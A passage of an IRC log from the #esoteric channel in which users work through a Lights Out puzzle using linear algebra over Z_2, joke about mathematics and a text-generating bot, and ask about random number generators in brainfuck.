:^style europarl < 1269045600 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Selected style: europarl (European Parliament speeches during approx. 1996-2006) < 1269045632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fungot, this should prevent alise from laughing if he wan'ts to avoid it < 1269045634 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: mr president, ladies and gentlemen, and by the governments of both old and new member states have long since been prepared and sent to parliament. < 1269045636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :want's* < 1269045651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fungot, stop being funny! < 1269045652 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i am happy to say that any such principle needs to be stressed that the guidelines in leader+ now need to be repeated. i have to say that i have already criticised the method used for each individual, which remains and will always be positive and enriching factor for europe. < 1269045669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night < 1269045698 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i was invited in this math high school thing, but i didn't go because i had a gf < 1269045699 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269045723 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :cuz true love is more important than math < 1269045735 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :we broke up when i started high school < 1269045747 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"and no doubt every female flower which i examined appeared more like a dandy than a warrior, but he has seen/ carcasses :) dead seals." --Darwin < 1269046159 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what about true math? < 1269046178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the mathematics that can be proved is not the true mathematics. < 1269046184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e., only the negations of proved things are true. < 1269046189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, not only < 1269046287 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol what < 1269046293 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-1 * -1 = -1 < 1269046324 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wish I understood cubic truth :( < 1269046382 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :timecube? < 1269046419 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :-m * -n = -(m*n) clearly < 1269046426 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :TIME CUBE IS BETTER THAN YOUR QUEER GOD < 1269046426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :therefore -1 * 1 = 1 < 1269046440 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/SQHYl.jpg . Clicking a piece toggles the piece, and pieces orthogonally adjacent. THe goal is to get all pieces to be cylinders, or all pieces to be cones. This configuration should be solvable in 3 moves. How easy/hard are those moves to figure out? I know how to solve it given a live board, but it always takes me a while < 1269046514 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, are there any unsolvable configurations? If not, I can simplify my reset algorithm a bit. Currently, it just blanks the board and simulates 3 clicks < 1269046633 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo what is this made in?? < 1269046645 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :"Clicking a piece toggles the piece, and pieces orthogonally adjacent" -- lights out!! this game is OLD < 1269046652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :some virtual world. < 1269046657 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can tell because it's sgeo and it has health meters < 1269046658 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's in Active Worlds. The code for the puzzle itself is in C# < 1269046659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and shitty 3d < 1269046661 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see! < 1269046666 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's idk equations in Z2 < 1269046667 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I did not add the health meters < 1269046685 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can solve every solvable puzzle in a maximum of 9 clicks :D < 1269046688 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION proves the trivial
< 1269046689 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Clicking a piece doesn't toggle all pieces in a row or column < 1269046718 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I originally programmed it that way, since I misremembered the original game we're um, recreating < 1269046774 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :why is http://mathoverflow.net/questions/18696/how-to-write-if-else-as-mathematic-equation stupid? < 1269046791 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION feels vindicated by oklopol's question.
< 1269046879 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's stupide because programs are alredy formal language < 1269046888 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you don't have to turn everything into 'math' < 1269046891 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it already IS < 1269046897 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and because he clearly has no idea how booleans work < 1269046911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he seems to think everything as to be arithmetic < 1269046959 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"fax: oerjan, another thing I really want to do is make a 4D (or more D..) world that you can immerse yourself in :(" <<< been wanting to do this since like forever < 1269046993 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION takes interest
< 1269047006 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://eusebeia.dyndns.org/4d/vis/vis.html < 1269047011 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has been searching for answers
< 1269047014 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: The question is like asking "how do you write if-else in a program". < 1269047060 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, change that. < 1269047067 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"How do you write if-else in programming" < 1269047118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How do you shot if-else < 1269047178 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: you don't know the definition of a determinant? < 1269047199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :n < 1269047200 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o < 1269047226 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :anyway definitions are overrated < 1269047239 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: if you can prove for each piece that there is a sequence of moves to toggle _just_ that piece, then all configurations are solvable, otherwise not. < 1269047242 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :One could, for instance, define yourself sufficiently formal psuedocode and just write "if foo then bar else baz". Or you could do that in lambda calculus. Or you could just write it as a piecewise function. Or you could do some rather clever arithmetic to get it down to a single arithmetic statement (though I doubt that's feasible with the example there) < 1269047247 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you have two equivalent characterizations of something, which one is the 'definition'? < 1269047270 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :the one used in practice < 1269047291 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: there is an easy way to switch on 0/1 arithmetically < 1269047291 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :the one that places the term in a category of differentiated terms < 1269047291 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because any others can be solved by combining those sequences < 1269047293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with an else clause < 1269047298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I forget the exact definition though < 1269047307 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I've figured out how to toggle just the middle piece < 1269047309 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Ah, right. < 1269047318 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :by the way I saw a really gorgeous proof using iverson notation < 1269047329 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in Concrete Maths < 1269047330 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No, I don't think I have < 1269047345 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol oklopol has completely lost respect for me < 1269047357 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh wait you said just 3 moves? then what i said is not true. in fact it cannot be. < 1269047381 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo I would think of the inverse problem < 1269047390 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :starting from the solution, what moves take you to a given state < 1269047392 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, if I can show that it's always solvable in X moves, that's enough < 1269047402 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if it should always be <= 3 moves i mean < 1269047433 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's just that due to the way I scramble the board, there's a solution in 3 moves for any state achievable by this scrambler < 1269047451 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: as fax said, 9 moves is enough for everything that can be solved < 1269047470 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :9 moves should be enough for anybody < 1269047628 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wait, how is that trivial? < 1269047643 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, it doesn't prove that everything has a solution < 1269047644 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh the question was about how you'd express if-then in math? i just read "what natural set of mathematical operations on reals can be used to compile if-thens to math?" < 1269047684 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But I still don't see how 9 moves is enough to solve all solvable cases < 1269047699 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because if you press twice on the same place that = doing nothing < 1269047701 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: because you never need to click a piece twice (just cancels out), and the order you click them doesn't matter < 1269047706 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh < 1269047710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: ahem < 1269047715 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: you just abused = < 1269047723 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no I didn't < 1269047731 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::))) < 1269047733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no more than i did < 1269047735 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"fax: if you have two equivalent characterizations of something, which one is the 'definition'?" <<< depends on author, in this case i'd be asking for *a* definition < 1269047766 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :2^9 different sets of moves you can do < 1269047770 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :2^9 different boards.... < 1269047782 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if they are equal sets though < 1269047833 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If two different move sets can take you to the same board, then the answer is no, right? < 1269047842 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269047844 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"fax: lol oklopol has completely lost respect for me" <<< i was just reading logs, i only lose respect for myself for not remembering definitions, from other people i just expect the capability to learn the matters at hand at a given time < 1269047862 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just don't really care about having a definition < 1269047869 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because I know the important properties of it < 1269047876 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: ahem < 1269047880 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: CONSTRUCTIVISM BITCH < 1269047950 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell (9*8*7)/6 + (9*8)/2 + 9 < 1269047960 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"alise: fax: you just abused =" <<< why is it abusing the definitions, it's the relation a^2 = 1 in the abelian group of move sequences < 1269047964 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :eh < 1269047965 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :damn no egobot < 1269047967 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"the definitions"? < 1269047970 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"=". < 1269047986 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :my brain isn't really here, also wow i finished the log < 1269047993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: fax always whines about me abusing = < 1269047995 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: btw your problem can be solved with determinants < 1269048006 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well i don't know much about constructivism < 1269048017 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has worse problems than this
< 1269048023 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :this issue is way more subtle than me < 1269048026 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I can get away with not understanding this in depth < 1269048033 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There's another puzzle that I can't get away with it < 1269048038 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1269048093 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, I don't really know what determinants are? I think something to do with matrixes and solving multiple multivariable equations? < 1269048094 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hey i have a Determinant.hs file. let's see... < 1269048181 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :fax: if you know even a few of its basic properties, you'll probably know a definition for the determinant :P < 1269048272 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: constructivism: you must actually show a value that obeys certain constraints, if you want to prove such a value exists < 1269048273 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yes. if the determinant is nonzero then every equation with that matrix is solvable. it turns out your problem can be expressed as a matrix equation. < 1269048278 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you do this by removing ~~p -> p. you probably know that < 1269048289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :~~p is pretty damn strong evidence for p though :P < 1269048307 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How can it be expressed as a matrix equation? o.O < 1269048372 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise: i know that much, how does that make fax's statement incorrect? < 1269048379 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: a 9*9 matrix. item M_i,j is 1 if pushing piece i toggles piece j, 0 otherwise. < 1269048436 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How can we be sure that that maps to something that determinants are sensible for? < 1269048476 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :because they are used when solving matrix equations < 1269048516 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :be patient. now make a vector v of length 9 with 0's and 1's. then M v is a vector whose i'th coordinate is odd iff pushing the pieces that are 1 in v will toggle that piece. < 1269048533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: oh i was just talking about his I don't need a definition for determinants I have the properties < 1269048550 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ohh < 1269048556 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course a constructivist - he's one, being a dependent folken - would demand a definition before even talking about properties < 1269048563 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(folken: singular of folk) < 1269048566 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :of course < 1269048567 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(this is really a question about the field Z_2, but we can talk about odd and even instead) < 1269048574 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it stands towards reason < 1269048579 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :of course to "folken" < 1269048581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ooh, geometric logic proofs! < 1269048603 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Where can I read tutorials about this sort of math? < 1269048625 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: now it happens to be that you can achieve _all_ vectors as M v in this way, iff det M is odd. < 1269048640 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in other words all configurations are solvable iff det M is odd. < 1269048715 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :on the other if it isn't, then you can do some matrix operations to get a summary of exactly what configurations you can solve. < 1269048721 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does each vector represent, exactly? < 1269048734 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :v is what buttons you push < 1269048750 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the original vector v represents button pushing. 0 no, 1 yes. < 1269048761 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :2 maybe < 1269048771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i should do a tri-valued logic that doesn't just have 3 = unknown it's boring < 1269048772 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :M v represents buttons toggled. odd yes, even no. < 1269048780 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :M is basically a function that takes a vector and returns a vector? < 1269048787 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yes. < 1269048822 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :then we have to solve M v = y for v, where M is the rules of the game, and y is the desired outcome (which things are circles on the board), and if det M is odd, then we can divide by M to get M v = y <==> v = M^-1 y, and now "M^-1 y" is just an ordinary vector, which is a solution for the game < 1269048833 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is not used to struggling with math
< 1269048869 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: incidentally if det M is odd, then we can _invert_ the matrix to get all solutions. < 1269048878 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(inversion mod 2 here) < 1269048886 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is trying his best to ruin oerjan's explanation by shortcutting it
< 1269048894 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :gah < 1269048898 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well more like being faster i guess < 1269048905 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :If M v's exist enough such that there's an M v for each configuration, all configurations are solvable < 1269048909 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :speed is always my problem < 1269048930 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yes < 1269048948 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, *If v's exist < 1269048972 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How do you learn what an odd and even determinant means < 1269048986 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's not about odd/even usually, it's about nonzer/zero < 1269049023 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's just we're working in Z_2 here (the space with just two objects, odd and even), so zero = even, and the only nonzero object is "odd" < 1269049037 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*nonzero < 1269049041 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wishes he asked about a more pressing problem
< 1269049048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Z_2 is also known as booleans < 1269049056 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269049057 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269049067 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i would say booleans are the boolean algebra formed by those two, not the field < 1269049087 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm i guess i see the algebra as built upon the type < 1269049088 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or perhaps type inference will take care of that < 1269049089 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: determinants work in any _field_. we are really working in the field Z_2 (mod 2 arithmetic) here < 1269049098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so boolean is true | false, the algebra is all the operations < 1269049099 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1269049108 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats oklopol, then himself -----###
< 1269049113 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269049116 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wait, M is just a matrix? < 1269049119 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269049130 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :normal matrix, but the field is Z_2 and not real numbers like usually < 1269049131 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I need a tutorial on this stuff < 1269049140 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Thought it was a function < 1269049146 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :15:37:12 However, ((int)NULL) does not necessarily equal 0. < 1269049146 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, so that means (int)(void*)0 doesn't have to be 0, heh < 1269049154 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I was like "You're dividing by a function?" < 1269049165 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: there is a one-one correspondence between matrices and linear functions between vectors < 1269049166 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well it is, see matrices are in fact a representation for "linear functions", which are these simple kind of functions < 1269049170 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269049174 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yay i won! < 1269049198 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :clearly only one of us is needed here < 1269049201 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm going to bed < 1269049204 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How do you learn all this? Better yet, how can I learn all this? < 1269049211 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :edumacation! < 1269049214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well f*g is clearly function composition by symbol analogy < 1269049215 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well university does wonders < 1269049221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so f/g is the reverse of function composition < 1269049231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :clearly 1/f gives (g,h) where f is the composition of the two < 1269049232 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'd suggest reading books < 1269049234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and clearly 1=id < 1269049237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so id/f is (g,h) < 1269049239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :work out the rest yourself < 1269049240 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No online stuff? < 1269049266 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: linear algebra for the matrices in general, then number theory/higher algebra for the Z_2 part < 1269049269 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269049289 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(ring/field theory from the higher algebra) < 1269049307 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :there probably is online stuff, but online tutorials for math stuff are usually only found for trivial things < 1269049312 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :this might belong in that category < 1269049362 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well of course you can find books online but i mean these sort of quick tutorials to X you can't really find on galois cohomologies < 1269049377 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :(i have no idea what those are) < 1269049433 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: also read what alise said about composition, that's exactly what matrix division is, inverting the linear function represented by the matrix. < 1269049464 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i know a bit of galois theory, and a bit of cohomology, but i have no idea how they combine... < 1269049468 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :turns out linear functions are invertible (they have normal function inverses) iff their determinant is nonzero < 1269049483 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't even recognize what "galois" is supposed to mean
< 1269049492 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it's a name < 1269049494 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :evariste galois < 1269049502 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, that makes a lot of sense somehow < 1269049525 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yes, especially if you remember the volume definition of the determinant < 1269049537 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION still doesn't quite know what a determinant is
< 1269049555 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well it's just a function from matrices over a field to the field itself < 1269049561 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :which has a few nice properties < 1269049575 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: that volume thing i explained to AnMaster earlier today < 1269049580 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in special cases like reals you have, as oerjan mentioned, interesting geometric properties too < 1269049610 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has no clue how to even get started learning this stuff
< 1269049636 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'd get a book on linear algebra and do exercises like crazy < 1269049636 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what stuff?? < 1269049649 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah linear algebra is the best thign < 1269049653 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but determinants arean't..... < 1269049669 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :nothing wrong with determinants < 1269049680 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :especially in Z_2 < 1269049697 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :where you don't have any of their less useful properties, just invertibility < 1269049715 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean most of the time we just need to know whether the determinant is nonzero < 1269049724 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I suppose none of this is related to Computer Science? Maybe I should stick with this college and Minor in math < 1269049729 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :in fact so often it would even make sense to have a separate name for such a function < 1269049739 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or maybe that's not true, just my impression < 1269049778 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :all you need to know is learning things is related to knowing things is related to computer science < 1269049813 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i really have to go to sleep -> < 1269049816 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Good night < 1269049856 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is going to forget about everything and play a game
< 1269049949 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i calculate the determinant to be -7, thus odd, thus everything is solvable < 1269050251 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269050601 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :ok... time to get hardcore: < 1269050643 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :does anyone know of implementations of (P)RNGs in brainfuck? < 1269050697 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :or would i be better off plugging /dev/random into stdin? < 1269050737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there's a langtons ant based thing but it gives the same result every run < 1269050739 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :obviously < 1269050742 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there's no source of entropy in bf < 1269050752 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but you can use e.g. user input to seed it multiple times < 1269050758 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :except for input < 1269050851 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo I'm trying to prove this lights out thing by brute force < 1269050857 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't really know how long it will take < 1269050931 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There is a PRNG on the esolang wiki's algorithms page. < 1269050960 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But obviously you're going to find a decent source of entropy to make it even vaguely useful. < 1269050978 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(I suggest "Please pound on the keyboard") < 1269051043 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :bah... all my decent ideas for entropy kill the use of stdin < 1269051106 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, yeah. There aren't any other sources of input at all. < 1269051109 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :random numbers in brainfuck shouldn't be hard < 1269051113 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: cat your entropy source and input together? < 1269051117 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh it's been done < 1269051130 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Brainfuck has only one non-deterministic 